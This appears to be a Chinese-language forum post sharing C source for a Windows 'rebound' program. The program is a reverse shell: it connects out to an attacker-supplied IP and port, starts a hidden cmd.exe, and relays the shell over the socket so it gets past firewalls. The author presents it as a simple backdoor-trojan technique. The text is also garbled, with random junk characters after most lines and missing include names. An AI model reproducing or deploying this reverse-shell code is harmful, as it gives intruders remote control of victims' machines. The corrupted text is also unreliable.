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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9&n9J^3L  
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/* ============================== b>; ?{  
Rebound port in Windows NT | ys5.|  
By wind,2006/7 ga 5Q  
===============================*/ 9\_AB.Z:  
#include V`^*Z}d9  
#include ("2X8(3z  
@N4_){s*  
#pragma comment(lib,"wsock32.lib") ws'e  
.Vbd-jr'M  
void OutputShell(); tOiz tYu  
SOCKET sClient; .SD-6GVD  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _O`p(6  
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void main(int argc,char **argv) R^l0Bu]X  
{  '"B  
WSADATA stWsaData; Kjd3!%4mB  
int nRet; Qr$'Q7  
SOCKADDR_IN stSaiClient,stSaiServer; :y-;V  
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if(argc != 3) "lh4Vg\7n  
{ NfV|c~?d  
printf("Useage:\n\rRebound DestIP DestPort\n"); v-}f P  
return; d@R7b^#g  
} E(~7NRRm  
4&mY-N7A  
WSAStartup(MAKEWORD(2,2),&stWsaData); JbPkC*.  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r1L@p[>  
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stSaiClient.sin_family = AF_INET; 8z`ZHn3=  
stSaiClient.sin_port = htons(0); qUJ"* )S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;g0Q_F@;p  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~ WWhCRq  
{ hIe.Mv-I)  
printf("Bind Socket Failed!\n"); .-Lrrk)R+  
return; >v+1 v  
} a !VWWUTm?  
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stSaiServer.sin_family = AF_INET; |a{; <a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Kb%Y%j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =X R~I  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )U %`7(bN  
{ wL0[Slf}  
printf("Connect Error!"); ?'> .>  
return; [c,V=:Cq  
} ;'S,JGpvT  
OutputShell(); 3FiK/8mu  
} /vSGmW-*  
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void OutputShell() q} e#L6cM  
{ >(RkoExO/  
char szBuff[1024]; cq I $9  
SECURITY_ATTRIBUTES stSecurityAttributes; z!g$#hmL>  
OSVERSIONINFO stOsversionInfo; iB)\* )  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; X:i?gRy"  
STARTUPINFO stStartupInfo; wH~A> 4*(  
char *szShell; ;M~,S^U  
PROCESS_INFORMATION stProcessInformation; (<Cq_K w  
unsigned long lBytesRead; Y$JVxly  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k4q":}M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y0xBNhev  
stSecurityAttributes.lpSecurityDescriptor = 0; n #X~"|U`  
stSecurityAttributes.bInheritHandle = TRUE; z*},N$2=  
p<L7qwOii  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5;)^o3X>  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u9"kF  
s@Q7F{z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h .Qk{v  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M(C">L]8  
stStartupInfo.wShowWindow = SW_HIDE; |+Wn5iT  
stStartupInfo.hStdInput = hReadPipe; 9`f@"%h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `3\aX|4@  
38w^=" -T  
GetVersionEx(&stOsversionInfo); n-9xfn0U~#  
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switch(stOsversionInfo.dwPlatformId) 0qN`-0Yk  
{ ?}Zo~]7E  
case 1: 89M'klZ   
szShell = "command.com"; EDnNS  
break; cW*v))@2  
default: ^Laqq%PI  
szShell = "cmd.exe"; `4K|L6  
break; Wc@ ,#v  
} ~xqiasE#K  
O i\ s  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !=YEhQ-  
?|ZbQz(bL  
send(sClient,szMsg,77,0); Ck/44Wfej  
while(1) GFFwk4n1  
{ zQ+Mu^|u+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ho=!Yy  
if(lBytesRead) sywuS  
{ 1'f_C<.0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `}ak]Z_  
send(sClient,szBuff,lBytesRead,0); .2%t3ul[  
} O|t>.<T?  
else Pg}QRCB@  
{ 1%_RXQVG  
lBytesRead=recv(sClient,szBuff,1024,0); # `^nmC/F  
if(lBytesRead<=0) break; J$6WUz:?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cvsH-uAp  
} WK$\#>T  
} O7 ;=g!j  
OJu>#   
return; a{xJ#_/6  
}
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